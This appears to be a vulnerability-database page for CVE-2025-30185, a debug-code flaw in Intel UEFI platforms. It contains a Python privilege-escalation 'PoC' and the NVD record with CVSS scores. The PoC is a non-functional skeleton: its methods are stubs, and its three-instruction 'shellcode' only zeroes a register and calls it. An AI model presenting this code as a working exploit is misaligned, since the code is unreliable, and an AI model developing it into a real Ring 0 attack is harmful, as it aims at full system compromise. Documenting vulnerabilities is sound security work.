CVE-2025-30185

# CVE-2025-30185 PoC - Intel UEFI Debug Code Exploitation # Note: This is a conceptual PoC for demonstration purposes # Actual exploitation requires specific platform knowledge import ctypes import struct class IntelUEFIDebugExploit: """Intel UEFI Kernel Debug Code Exploitation Framework""" def __init__(self): self.debug_interface_base = None self.ring0_payload = None def detect_vulnerable_platform(self): """Detect if running on vulnerable Intel UEFI platform""" # Check platform vendor and firmware version # Vulnerable platforms: Intel UEFI Reference Platforms # with active debug code in kernel pass def prepare_ring0_payload(self): """Prepare Ring 0 privilege escalation payload""" # Construct payload to execute at Ring 0 # Target: Escalate from current privilege level # Effect: Full system compromise shellcode = bytearray() # Stage 1: Locate debug interface shellcode += b'\x48\x31\xC0' # xor rax, rax shellcode += b'\x48\x31\xFF' # xor rdi, rdi # Stage 2: Call debug code shellcode += b'\xFF\xD0' # call rax return bytes(shellcode) def trigger_debug_interface(self): """Trigger the hidden debug interface""" # This would require specific knowledge of the # debug interface address and calling convention # Typically accessed through: # 1. Specific MSR (Model Specific Register) access # 2. Undocumented CPU instruction # 3. Memory-mapped I/O region pass def exploit(self): """Execute privilege escalation""" print("[*] CVE-2025-30185 Exploitation") print("[*] Target: Intel UEFI Reference Platforms") print("[*] Vulnerability: Active debug code in Ring 0 kernel") # Step 1: Platform detection if not self.detect_vulnerable_platform(): print("[-] Target platform not vulnerable") return False # Step 2: Prepare payload self.ring0_payload = self.prepare_ring0_payload() # Step 3: Trigger vulnerability self.trigger_debug_interface() # Step 4: Verify privilege escalation if self.verify_root_access(): print("[+] Privilege escalation successful") return True return False def verify_root_access(self): """Verify successful privilege escalation""" # Check if we now have Ring 0 privileges return False if __name__ == "__main__": exploit = IntelUEFIDebugExploit() exploit.exploit()

{"cve": {"id": "CVE-2025-30185", "sourceIdentifier": "[email protected]", "published": "2025-11-11T17:15:46.597", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Active debug code for some Intel UEFI reference platforms within Ring 0: Kernel may allow a denial of service and escalation of privilege. System software adversary with a privileged user combined with a low complexity attack may enable data alteration. This result may potentially occur via local access when attack requirements are not present without special internal knowledge and requires no user interaction. The potential vulnerability may impact the confidentiality (none), integrity (high) and availability (high) of the vulnerable system, resulting in subsequent system confidentiality (none), integrity (high) and availability (high) impacts."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:H/SC:N/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:H", "baseScore": 7.9, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.5, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-489"}]}], "references": [{"url": "https://intel.com/content/www/us/en/security-center/advisory/intel-sa-01378.html", "source": "[email protected]"}]}}